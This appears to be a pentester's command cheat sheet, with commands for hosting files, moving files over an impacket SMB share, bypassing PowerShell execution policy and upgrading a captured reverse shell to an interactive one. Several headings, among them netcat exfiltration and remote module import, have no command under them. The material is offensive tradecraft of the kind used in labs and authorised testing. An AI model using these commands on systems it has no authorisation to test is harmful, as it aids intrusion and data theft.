Commands

Simple server

sudo python -m http.server 80

Start / stop Apache

/etc/init.d/apache2 start

/etc/init.d/apache2 stop

(monitor Apache logs -> tail -f /var/log/apache2/access.log)

Allow PowerShell script execution

powershell -nop -exec bypass

SMB share moving files Windows - Kali

sudo impacket-smbserver win_share /mnt/win_share
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
net use \\192.168.220.128\win_share

SMB share (with SMBv2 support, prevents having to enable Windows feature)

sudo impacket-smbserver win_share /mnt/win_share -smb2support -username Joe -password 123

Upgrade non-interactive shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
stty rows 70 columns 316

proxychains nmap flags for faster scan

psexec syntax

psexec doesnt work from within an interactive shell, execute it from RDP session instead

Monitor incoming ICMP (nice to check code execution)

sendEmail

Download all data from share using smbclient

Remote import-module (wont touch disk)

Transfer file with SSH (SCP) syntax

Exfil file with NC syntax

base64 binary:

base64 decode windows:

Copy to clipboard (unix)

Enable RDP

Windows easy file download

Last updated